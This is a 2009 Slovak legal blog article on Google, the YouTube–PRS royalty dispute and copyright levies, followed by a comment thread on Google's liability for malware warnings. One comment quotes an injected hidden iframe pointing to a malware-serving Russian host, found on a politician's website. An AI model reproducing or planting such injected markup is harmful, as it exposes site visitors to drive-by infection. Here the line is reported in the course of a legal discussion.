rss
Google, autorské právo, informačná spoločnosť... a my v nej
Branislav Gvozdiak, 17. 03. 2009 v 12:59
Článok týkajúci sa fenoménu Google som chcel napísať už niekoľkokrát. Napríklad v čase sporu týkajúceho sa Google Book, pri vypustení do sveta internetového prehliadača Google Chrome, keď som si prečítal jeden zaujímavý list ktorý spomeniem neskôr, keď som sa niekoľkokrát zamýšľal nad vyhľadávačmi v súvislosti s ochranou osobných údajov (mimochodom, je podľa vás indexovanie spracúvaním osobných údajov?). No vývoj sporu YouTube s PSR ma k tomu už aj naozaj dokopal - bol tou povestnou poslednou kvapkou. Článok možno nie je taký, na aké ste na portáli Lexforum zvyknutí, tzn. stricte senso právnický, ale dúfam, že sa v ňom nájde veľa podnetov aj na čisto právnickú diskusiu.
Takže o čo ide medzi YouTube (pre nezasvetených youtube=google) a PRS for Music (Performing Rights Society)? Prečítať si o tom môžete - v angličtine - napríklad na stránke BBC. Stanovisko YouTube k tejto veci nájdete na blogu youtube, stanovisko PRS for Music na ich stránke.
V skratke - Vo Veľkej Británii momentálne prebieha spor medzi Google a organizáciou vykonávajúcou kolektívnu správu autorských práv k hudobným dielam - PSR for Music (niečo ako naša SOZA, česká OSA, poľský ZAiKS - táto organizácia vedie s YouTube podobný spor ako PSR). Je to veľmi zaujímavá hra, s jednou ústrednou otázkou: "Kto by mal komu v informačnej spoločnosti platiť, a za čo?" Google mal s PRS uzavretú licenčnú zmluvu, na základe ktorej mohol na svojom portáli uverejňovať tzv. "premium" hudobné videoklipy chránené autorským právom, ktoré tak boli voľne dostupné pre všetkých na stránkach YouTube, bez narušovania autorských práv. Čas, na ktorý bola táto zmluva uzavretá však uplynul, a PSR si na rokovaniach o jej predĺžení zažiadala niekoľkonásobné zvýšenie poplatkov. Google s tým nesúhlasil, a spor dospel do štádia, v ktorom boli (sú) všetky "premium" videoklipy na YouTube zablokované pre užívateľov z Veľkej Británie. Niektoré hlasy (PSR) hovoria "to je nespravodlivé, musíte sa s vaším ziskom deliť s autormi. Máme predsa práva, ktoré chcete využívať, a my máme preto právo na poplatky, ktoré vám nadiktujeme". Google sa ale rozhodol inak - prestal sprístupňovať chránené diela (nebude predsa porušovať nikoho autorské práva, ked sa skončil čas trvania licenčnej zmluvy) a ďalej pokračuje v rokovaniach. Určite to je pre mnohých šok. Napríklad pre osoby, ktoré chcú peniaze, ale náhle nie sú dostupní vo verejnom obehu a je preto možné, že stratia viac než "strácajú" v momente, kedy im chce niekto platiť menej, než žiadajú. Dobre tento šok vystihuje komentár šéfa PSR Steva Portera: "outraged... shocked and disappointed".
Google už dávnejšie dokázal, že jeho pozícia na poli "vyhradených práv" je čím ďalej silnejšia, napríklad v USA v spore týkajúcom sa Google Book, kde došlo k uzavretiu zmieru napriek monopolu autorského práva. Nie je možné využívať autorské diela bez súhlasu oprávneného (autora alebo majiteľa autorských majetkových práv), ale ak sme vo vhodnej vyjednávacej pozícii, tak to predsalen možné je... Dostal sa mi raz do uší výrok, ktorý je v súvislosti s touto témou celkom zaujímavý: "Všetko čo je nemožné je možné, ak sa na to ide pomaly a trpezlivo.".
Čo sa bude vo Veľkej Británii diať ďalej? Je možné, že sa úplne otočí peňažný tok? Budú musieť autori YouTube platiť, ak budú chcieť, aby mali návštevníci tejto stránky možnosť pozrieť (vypočuť) si ich dielo? Každopádne je to všetko neskutočne zaujímavé a role sa menia. Ešte včera oprávnení strašili, že ak sa s nimi nedohodneme, tak zablokujú obsah, ku ktorému majú práva, a dnes už takáto vyhrážka nie je pre najväčšieho hráča na internete vôbec taká hrozná. Zablokoval obsah sám. A PRS ho hneď obvinilo z toho, že vďaka tomu drastickému rozhodnutiu je poškodených množstvo osôb, ktoré nemajú prístup k ich dielam... Celá táto situácia je podľa mňa veľmi dôležitá pre formovanie pohľadu spoločnosti na autorské práva. Takto môžeme formovať názory na celosvetovom trhu... ak máme pozíciu Googlu. Ak popustíme uzdu fantázii, tak si možeme predstaviť aj taký scenár, v ktorom budú musieť niektorí umelci platiť odberateľom kultúry za to, aby im mohli zaspievať, ukázať film... a možno ja budem musieť platiť za to, aby niekto čítal moje články :). V každom prípade však vo svete mimo internetu (áno aj taký ešte existuje) vysiela napríklad hudobná stanica MTV len videoklipy, za ktoré niekto zaplatil - je to forma určitej reklamy. Prečo by to tak nemohlo byť na YouTube? Google je firma kótovaná na NYSE a jej hlavným cieľom je prinášať zisk...
Môj pohľad na túto tému sa určite nedá nazvať "nestranný". Rôzne formy autorských poplatkov zahrnutých v cene CDčiek, napaľovačiek, harddiskov, kopírok atď. som vždy považoval za určitý druh výpalného, ktoré "skáče po hlave" prezumpcii neviny, a ktoré bolo prijaté pretože organizácie vykonávajúce kolektívnu správu autorských práv majú príliš veľký vplyv. Nie že by nemali tieto poplatky žiadne opodstatnenie, ale čoho je veľa toho je moc... Pred poľským najvyšším súdom momentálne prebieha spor medzi firmou Euroimpeks a organizáciou "Polska Książka", ktorej Euroimpeks odmietol odvádzať poplatky. Euroimpeks je importérom kopírovacých zariadení, z ktorých ceny sa odvádza dvom organizáciám - spomínané Polskie Książki a Kopipol - niekedy až 3%. Zaujímavé je, že Euroimpeks predáva kopírky iba štátnej správe, na súdy, ministerstvá, colné úrady, a ťažko sa dá obhájiť tvrdenie, že týmito zariadeniami budú lámané autorské práva. Taktiež je zaujímavé, že na réžiu si tieto spoločnosti môžu ponechať až 30% príjmov. Kopipol (4 pracovníci) si ponechal pol milióna zlotých (okolo 110000 euro), Polska Książka (3,5 pracovníka) polovicu z tejto sumy. Netvrdím, že autorské práva nemajú byť chránené, to vôbec, ale zašlo to podľa mňa priďaleko a preto pozitívne hodnotím zásah spoločnosti Google, ktorá je v pozícii, v ktorej si taký krok môže dovoliť.
Obdivujem Google za to, ako za niekoľko posledných rokov dokázal spojiť významnú časť internetu pod svoje krídla, je to určite obrovský hospodársky úspech. Na druhej strane musím tiež povedať, že sa ho aj trochu bojím. Tak naplno som si to uvedomil, keď vypustil svoj vlastný prehliadač - google chrome. Vojna medzi Google a Microsoftom sa stala úplne zjavná. Bohužiaľ situácia sa môže vyvínúť aj tak, že Internet Explorer 8.0 bude blokovať analitické nástroje Google, na prehliadači Chrome budú niektoré služby fungovať lepšie, a vďaka jeho otvorenosti budú pre prehliadač Chrome vyvíjané aplikácie podobne ako do Firefoxa, všetko to bude zintegrované s internetovými službami Google, tak ako Firefox (okienko pre vyhľadávanie, oznámenia o podozrivom obsahu stránok (spolu s jej blokovaním) atď.). Internet má byť prístupný pre všetkých, a to nezávisle od toho, či používame Internet Explorer, Firefoxa, Google Chrome. Píšem to ako osoba, ktorá z hĺbky duše súhlasí s heslom združenia Internet Society - "internet is for everyone". Ak sa Googlu podarí presvedčiť používateľov internetu, aby sa stali používateľmi googlenetu, bude to určite obrovský úspech. Pre Google. Pre nás to však môže znamenať, že nebudeme používať WordPress, Joomla, Drupal... ale googlepages.com. Všetci budú používať jeden interfejs, zainštalovaný vrámci jedného prehliadača zintegrovaného s nástrojmi do lokálneho vyhľadávania na našich diskoch v stolových počítačoch s našimi fotkami z prázdnin, pomocou nejakého nástroja na publikáciu budeme môcť tieto fotky okamžite sprístupniť na internete na nejakej "spriatelenej" stránke... A možno vytvoríme googlenet? a na ňom budú všetky významné stránky, ako lexforum.google.com, cnn.google.com, alebo dokonca google://lexforum, google://cnn, google://microsoft :). Google si určite vytvoril silnú pozíciu, a bude sa chcieť ďalej rozvíjať. To je prirodzené ekonomické správanie a bolo by zvláštne, ak by to bolo inak. Otázkou je, pokiaľ by sme mu to mali umožniť. Určitou pomocou pri hľadaní odpovede nám môžu byť princípy a dôvody, na ktorých je založené antimonopolné právo.
V súvislosti s pozíciou Google na trhu som zažil jednu zaujímavú príhodu. Citujem na tomto mieste jeden list, ktorý sa mi dostal do rúk (voľný preklad z poľštiny):
"V polovici júna tohto roku (minulého, pozn. aut.) došlo k vlámaniu hackerov na náš server, ktorí tam po sebe nechali kód nebezpečného programu (vírusu). V tom čase Google indexoval našu stránku a v súvislosti s vykrytím tohoto kódu pridal do svojho vyhľadávača k našej stránke informáciu, že "stránka môže na tvojom počítači napáchať škodu". Informovanie o napravení problému prostredníctvom ich vlastného scriptu je neskutočné, okrem toho osobám, ktoré používajú prehliadač Firefox, je automaticky blokovaný prístup na stránku. Návštevnosť sa z takmer 400 tisíc osôb znížila v júni na 120 tisíc, v júli na 90 tisíc a v auguste na 37 tisíc. Môžeme v súvislosti s tým, že doména je vlastníctvom firmy a vplýva na našu reputáciu, žiadať od spoločnosti Google náhradu škody súdnou cestou? Veľmi prosíme o pomoc, nakoľko takmer 2,5 mesiaca sme trpezlivo čakali na intervenciu Google, ale oni nič nerobia, napriek našim sťažnostiam."
Odpoveď na tento list prenechávam na diskusiu... Len by som chcel povedať, že je to skvelý návod na poškodenie konkurencie.
Názory k článku Google, autorské právo, informačná spoločnosť... a my v nej:
Ve vztahu k náhradě škody za poškození dobrého jména provozovatele webu si kladu otázky:
- může být odpovědný google, který na webu náhodně našel škodlivý kód a proto označil celou doménu za nebezpečnou a varoval tak běžné uživatele o možnosti napadení?
- může být odpovědný prakticky nenaleznutelný autor škodlivého kódu, který spustil nějaký program, který procházel internet, hledal bezpečnostní chyby v redakčním systému a ty využil k umístění škodlivého kódu?
- nebo je odpovědný správce redakčního systému, který nedbal aktualizací a nechal na svůj web umístit tento škodlivý kód.
Ještě bych chtěl podotknout, že škodlivý kód = program, který je spouštěn webovým prohlížečem a který buďto zneužívá bezpečnostní chybu prohlížeče a instaluje sám program útočníka nebo vyzývá uživatele k instalaci tohoto programu. Například na webových stránkách Lexfora by byla výzva k instalaci nějakého zásuvného modulu, ale ve skutečnosti by se jednalo o program, který by nadále sloužil například k šíření spamu.
Já bych se náhrady škody domáhal vůči správci.
Juraj Gyarfas, 20. 03. 2009 v 10:01 - trochu od veci: Palo Habera a Superstar
Branislav Gvozdiak, 20. 03. 2009 v 12:42 - Palo Habera
Juraj Gyarfas, 20. 03. 2009 v 14:08 - :-)
Martin Husovec, 29. 03. 2009 v 00:20 - moje úvahy
Samozrejme ak budem ďalej písať, tak priznávam, že som zaujatý :) lebo viem zo strany ISP čo by mohla takáto hláška vyvolať. A preto možno a priori k tejto otázke pristupujem z tejto strany.
Ak Google ukazuje pri webstránke hlášku "môže poškodiť váš počítač", bolo by uletené si myslieť, že užívateľ=spotrebiteľ nie je ovplyvnený - ostatne toto demonštruje príklad.
- Niekto by namietol, že dobre ale Google mi prináša traffic a preto, bez neho by som nemal ani tento. Číslami povedané ak stránka má 30 % trafficu z Google, 60 % priameho trafficu a zvyšných 10 % z iných zdrojov mohlo by sa namietať, že ak nebude Google nebude ani 30 % a teda nemôžem o návštevníkov prísť ale len získať.
Tu by som však upozornil na jednu závažnú vec. Spotrebiteľ často (možno poznáte aj samy) píše do vyhľadávača, namiesto prehliadača, samotné URL stránky. Dôvod ? Google mu opraví chyby v rámci "mysleli ste ?"... Takýto traffic nie je malý. Najhľadanejšie slovo na slovenskom internete je "pokec" a určite to nie je preto, že ľudia chcú nájsť v SERPe nový chat, ale preto lebo je to vlastne traffic AZET, a.s. (pokec.sk = azet,a.s.). Moja osobná skúsenosť je rovnaká až 70 % trafficu z Google je iba prepis URL môjho webu do vyhľadávača (niekedy z chybami). Takže čo sa tu môže stať ?
Spotrebiteľ si takto napíše peknastranka.sk a vyhodí mu SERP googlu. Avšak tentokrát mu Google ukáže pri výsledku červeným "môže poškodiť váš počítač". Necháte sa zastrašiť Googlom ? No ja by som osobne zvážil a pravdepodobne aj Google uveril. Výsledok ? Google vám odlákal návštevníka. Tento už nepríde na vašu stránku ani cez prehliadač a ani si pravdepodobne nebude priebežne kontrolovať cez Google či už nezobrazuje danú hlášku. Prosto nepríde.
ad Milan Kvasnica, a vaše tri otázky :
1. Sú tu ale dve rôzne situácie. Jedna je : Google nájde škodlivý kód pridá web do blacklistu a zobrazuje po dobu trvania (podčiarknuté) "môže poškodiť váš počítač". Situácia sa však rapídne mení ak problém odstránite, Google informujete a on nekoná. Čo je tento prípad.
2. Ja si myslím, že hacker, ktorý nainfikuje web zodpovedný je. Samozrejme vymožiteľnosť je otázka druhá.
3. Ono z bezpečnostnej stránky nie som expert, ale web sa stopercentne ochrániť proti útoku nedá. A dokázať, že web by nebol bol napadnutý ak by bol býval lepšie ochránený, je podľa mňa rovnako zložité.
A teraz moja taká úvaha, rozmýšľanie nahlas.
Ak Google označuje webstránku ako škodlivú mal by podľa mňa reagovať na prípadné odstránenie bezodkladne (rozumej oznámením odstránenia, či keď mu to zistí bot). Ak nie myslím si, že by mal byť zodpovedný. Porušil tým § 415 OZ: "Každý je povinný počínať si tak, aby nedochádzalo ku škodám na zdraví, na majetku ..." Nekonaním si podľa môjho názoru vyhľadávač nepočína takto a preto porušuje zákonnú povinnosť. "Každý zodpovedá za škodu, ktorú spôsobil porušením právnej povinnosti"( § 420 OZ). To by ma napadlo ako prvá cesta.
Druhá cesta by mohla byť nekalá súťaž.
§ 50 OBZ : "ods. 1 Zľahčovaním je konanie, ktorým súťažiteľ uvedie alebo rozširuje o pomeroch, výrobkoch alebo výkonoch iného súťažiteľa nepravdivé údaje spôsobilé privodiť tomuto súťažiteľovi ujmu."
Toto by som považoval za druhú možnosť ak Google neodstránil takéto výstražné oznámenie. Zodpovednosť je to objektívna a právne prostriedky ochrany proti nekalej súťaži umožňujú žiadať o.i. odstránenie závadného stavu a náhradu škody.
Osobne si myslím, že označovanie stránky "môže poškodiť váš počítač" Google nerobí kvôli ochrane užívateľa. Vyhľadávač nespadá priamo ani pod jedno vyňatie zodpovednosti v zmysle § 6 Zákona o elektronickom obchode a preto je jeho zodpovednosť za obsah tretích strán neistá (resp. nie tak ako pri iných službách informačnej spoločnosti).
Aký je váš názor na moje poznámky ?
Taktiež aký máte názor na zodpovednosť vyhľadávača za vyhodenie zo výsledkov vyhľadávanie úplne ?
Milan Kvasnica, 29. 03. 2009 v 11:49 - zákon o službách informační společnosti
Web proti cílenému útoku profesionála se běžnému pracovníku IT ochránit zřejmě nepodaří.
V tomto případě se však pravděpodobně jednalo o útok automatizovaný.
Bližší seznámení s problematikou je tu: http://svatas.blog.root.cz/2008/08/15/bezpecnost-jak-vydesit-uzivatele/
Píši pravděpodobně a vede mne k tomu fakt, že na napadeném webu našel google škodlivý kód. Pokud bych se cíleně trápil několik hodin s prolomením nějakého webu, tak bych zjistil jeho návštěvníky, poškodil kód, aby spadl pagerank, vložil kód pro zvýšení vlastního pageranku, ale nevkládal bych javascript pro spouštění nějakého trojana - přišlo by se na to poměrně brzy a několikahodinová práce by byla zmařena.
K tomu vyhození úplně - setkal jsem se s tím osobně, když jsem Seznamu podsouval jiný obsah, než ostatním - aby se salvia dostala výše. Během týdne jsem se ve vyhledávači neobjevil. Žádný dopis, žádní informace, zřejmě vyřazen strojem.
Klient u stejné společnosti ale jiné služby rovněž podváděl se vstupními daty. Byla mu e-mailem zaslána výzva k nápravě a byl vyřazen ze služby. Po nápravě se opět objevil. V podmínkách služby bylo uvedeno, že v případě porušení pravidel dojde k vyřazení a po nápravě k obnovení během 7mi dnů.
Klient měl zájem uplatnit náhradu škody a podat trestní oznámení pro trestný čin nekalé soutěže.
Jsem v této otázce velmi liberální a pokud někdo není spokojen s výsledky vyhledávání google, nechť si založí svůj vlastni vyhledávač. Děsím se doby, kdy evropská komise přikáže google, jakožto monopolnímu poskytovateli, zveřejnění principů jeho pageranku, aby všichni soužěžitelé měli stejnou možnost dosáhnout výhodnějšího umístění ve výsledcích vyhledávání.
Martin Husovec, 29. 03. 2009 v 19:59 - zákon o elektronickom obchode
áno takmer identické ustanovenie ako transpozícia smernice o elektronickom obchode je práve v § 6 zákona o elektronickom obchode.
Pre vizuálne porovnanie prilepím - vylúčenie zodpovednosti za caching -
České znenie § 4 :
Poskytovatel služby, jež spočívá v přenosu informací poskytnutých uživatelem, odpovídá za obsah informací automaticky dočasně meziukládaných, jen pokud
a) změní obsah informace,
b) nevyhoví podmínkám přístupu k informaci,
c) nedodržuje pravidla o aktualizaci informace, která jsou obecně uznávána a používána v příslušném odvětví,
d) překročí povolené používání technologie obecně uznávané a používané v příslušném odvětví s cílem získat údaje o užívání informace, nebo
e) ihned nepřijme opatření vedoucí k odstranění jím uložené informace nebo ke znemožnění přístupu k ní, jakmile zjistí, že informace byla na výchozím místě přenosu ze sítě odstraněna nebo k ní byl znemožněn přístup nebo soud nařídil stažení či znemožnění přístupu k této informaci.
Slovenské znenie § 6 ods. 3 :
Poskytovateľ služieb nezodpovedá za automatické dočasné uloženie informácií výlučne na účel zefektívnenia ich ďalšieho prenosu v elektronickej komunikačnej sieti k ďalším príjemcom služieb, ak poskytovateľ služieb
a) neupravuje informácie,
b) dodržiava podmienky prístupu k informáciám,
c) dodržiava pravidlá aktualizácie informácií spôsobom všeobecne uznávaným a používaným v príslušnom odvetví,
d) nevyužíva technológie na nezákonné získavanie a používanie uložených informácií,
e) bez zbytočného odkladu zamedzí prístup k uloženým informáciám, alebo informácie odstráni potom, ako sa dozvie, že na pôvodnom zdroji prenosu boli odstránené, alebo prístup k nim bol zamedzený, alebo súd alebo orgán dozoru nariadili ich odstránenie alebo zamedzenie prístupu k nim.
Rozdiel je to, že v českom znení máme toto slovné spojenie : "... poskytnutých uživatelem". Čo je dosť významné, keďže vieme ako Google funguje. Indexuje bez toho aby užívateľ podsúval svoju stránku. A skôr naopak cez opt-out prostredníctvom robots.txt .
Ono rád by som však podotkol, že samotná smernica o elektronickom obchode časť vety .."ktoré sú poskytované príjemcom tejto služby".. obsahuje, teda neobsahuje ju len náš zákon. Čo podľa môjho názoru v konečnom dôsledku znamená, že slovenské vyňatie zodpovednosti za caching je aj na poskytovateľov, ktorým neposkytli informácie samotný príjemcovia. Vykladám si to správne ?
čiže podľa môjho názoru, česká a smernicová definícia Google zodpovednosti za caching nezbavuje (Ostatne tak mi to vyplýva aj z R.Polčák - Právo na internetu str. 98).
Naproti tomu slovenská caching Googlu zahrňuje. Argumentum a contrario tým možno povedať ako pán Kvasnica naznačil, že ak Google neaktualizuje svoj cache, ešte napriek upozorneniu, musí niesť zodpovednosť.
Ale ma táto exempcia súvislosť s označením cachovanej informácie ako "môže poškodiť váš počítač" ? Podľa môjho názoru aj spolu s technickou rozmnoženinou upravenou v § 32 Autorského zákona je to len výnimka smerom k vyhotoveniu kópie, jej uloženiu bez súhlasu autora a nároku na odmenu(AZ) a nezodpovednosti za obsah v nej obsiahnutej (Zákon o EO) - čím sa má dosiahnuť legálnosť bežných a osožných technologických postupov na internete. Čiže má toto vylúčenie zodpovednosti podľa vás súvis s označením cachovanej informácie ako potencionálne škodlivej ?
Ak aj je pravda, že český a smernicový výklad nezahŕňa cachovanie Googlu, ale slovenský áno ?
Milan Kvasnica, 09. 04. 2009 v 11:25 - Právo nedokáže dostatečně reagovat na vývoj společnosti
Tak jako tak to, co dělá google, je velmi podobné kešování za účelem zefektivnění přenosů.
Argument, že google stahuje bez zeptání, je nesprávný. Provozovatel webu se sám rozhodl, že bude poskytovat informace všem. Naopak google říká, že není nutno blokovat přístup crawleru dle ip adresy nebo user agenta, ale lze tak činit efektivněji pomocí robots.txt.
Každý průměrný admin by měl vědět, že existuje několik vyhledávacích služeb a web archive, které procházejí webové stránky a obsah dlouhodobě kešují. Technicky není problém těmto crawlerům odmítnout přístup.
Pokud bych měl spor rozhodovat a google by prokázal, že i poté, co byl vyzván k odstranění informací o možném poškození počítače na webu žalobce nebezpečný kód našel, nepřiznal bych žalobci nárok na náhradu škody. Zájem na ochraně uživatelů před napadením je silnější, než zájem soukromé společnosti.
Žaloba proti google by mohla být nešťastným řešením: tento by se mohl za účelem dalšího zamezení škodám úplně vyřadit doménu z indexování a rád bych věděl, jakým ustanovením přinutit google k tomu, aby web opět indexoval.
Martin Husovec, 23. 04. 2009 v 10:02 - Svet podľa Googlu
Trošku pomimo ale podľa mňa Google nemá súhlas ipso facto, že to publishnem na web. To čo popisujete je opt-out, ktorý sa Google snaží vnútiť všade, kde pracuje od Behaviour advertising, cez Fulltext Search až po Book Search settlement. To, že každý priemerný programátor musí vedieť ako ľahko sa používa robots.txt nedáva Googlu "prior consent". Práve preto sú dôležité zákonné výnimky.
AD "Pokud bych měl spor rozhodovat a google by prokázal, že i poté, co byl vyzván k odstranění informací o možném poškození počítače na webu žalobce nebezpečný kód našel, nepřiznal bych žalobci nárok na náhradu škody. Zájem na ochraně uživatelů před napadením je silnější, než zájem soukromé společnosti."
Tak si to skúste predstaviť takto : Vlastníte stánok s občerstvením, ktorý sa nachádza 200 m od hlavnej cesty. Pri ceste je veľký Billboard od známej reklamnej spoločnosti, ktorá si potrpí na image férovosti. Pod ním je menšia reklamná značka pre vaše občerstvenie. Jeden deň Vám hygienická kontrola zistí nedostatok v práci s potravinami a jeden Váš klient skončí na infekčnom. Rozhodne sa teda, že si zaplatí ten Billboard na 3 mesiace, na ktorom konštatuje palcovým písmom, že tento bufet používa staré potraviny. Stojí tam 3 mesiace ale vy ste stav hneď dva dni po hygienickej kontrole odstránili. Ak by bol Váš klient majiteľ bufetu poviete mu, že stým sa nedá nič robiť? Povedali by ste to aj webstránke, ktorej Google odoberá traffic ?
AD "Žaloba proti google by mohla být nešťastným řešením: tento by se mohl za účelem dalšího zamezení škodám úplně vyřadit doménu z indexování a rád bych věděl, jakým ustanovením přinutit google k tomu, aby web opět indexoval."
Toto je veľmi zaujímava otázka. Samozrejme, že neexistuje magická odpoveď ale mnohí sa zamýšľali na tým čo by na to mohlo povedať Antitrust law.
Milan Kvasnica, 23. 04. 2009 v 13:52 - re: svět podle Google
Google se tedy ptá, zda mu webovou stránku webserver poskytne. Ten tak učiní dobrovolně. Fakt, že google následně dle zákonné výjimky uloží do cache, jsem nezpochybnňoval. Šlo mi o to zeptání se.
Psal jsem, že google zákeřný kód nachází opakovaně. Pokud by tam billboard byl, přestože byl závadný stav bufetu odstraněn, pak by byl samozřejmě nárok na odstranění billboardu nebo úpravu znění tak, že závadný stav trval do nějakého data v minulosti.
Neznám skutkový stav toho případu v Polsku, ale moc se mi nezdá, že bylo pochybení na straně Google. Spíše se domnívám, že byla chyba na straně administrátora webu.
Například ta, že používal Total commander a ukládal si v něm hesla pro přístup na FTP: http://svatas.blog.root.cz/2009/04/21/a-total-commander-pouzivate/
Milan Kvasnica, 02. 06. 2009 v 10:30 - Ještě dovětek k bezpečnosti
Kód, který otevíral skrytý rámec a v něm speciálně upravený PDF soubor (exploit) byl uložen v asi 50ti souborech napříč celým webem, nedošlo k napadení pouze Lexfora.
Přestože byl web napaden asi 10 dnů (k napadení došlo právě v době, kdy jsem byl na dovolené), google (resp. jeho smluvní partner) nestihl stránky označit jako nebezpečné, pouze vyslovil podezření.
Kolega používá antivir a není si vědom toho, že by byl jeho počítač napaden či že by došlo k úniku hesla. Kolega svou vinu popírá a odmítá se omluvit. Já zde paralelu s případem popsaným v článku vidím.
Osobní stránky předsedy nejsilnější opoziční strany (www.paroubek.cz) obsahují skrytý rámec ([iframe src="http://q5a.ru:8080/index.php" width=151 height=191 style="visibility: hidden"][/iframe]), když ruská doména odkazuje na počítač v Nizozemí.
Vyhledávání google informuje o napadení stránek: http://www.google.cz/interstitial?url=http://www.paroubek.cz/
Firefox odkazuje na stránku s uvedením důvodů:
http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=http://www.paroubek.cz/
Je zde uvedeno, že za pomocí nástrojů pro webmastery lze požádat o novou kontrolu webu.
V současné době se na webu škodlivý kód nachází a upozornění google vidím jako oprávněné.
Branislav Gvozdiak, 21. 07. 2009 v 21:06 - paroubek.cz
Milan Kvasnica, 22. 07. 2009 v 00:20 - nezájem o odstranění škodlivého kódu
O problému se údajně již ví:
http://www.emag.cz/paroubkuv-web-napaden/
Nicméně ten kód tam stále je:
http://6.gurkol.net/salvia2/paroubek.cgi
Protože není stránka často aktualizovaná, google ji nebude často navštěvovat a je tedy na administrátorovi, aby použil webmaster tools a požádal o kontrolu. Zda tak učiní, nemohu soudit.
Milan Kvasnica, 12. 08. 2009 v 18:35 - informace zmizela okamžitě
K nápravě ze strany Google došlo neprodleně, maximálně v délce jednoho dne.
Popsanou situaci z Polska proto považuji za nepravděpodobnou. Nejspíše šlo o pochybení ze strany klienta.
Nemáte oprávnění přidat názor. Přihlaste se prosím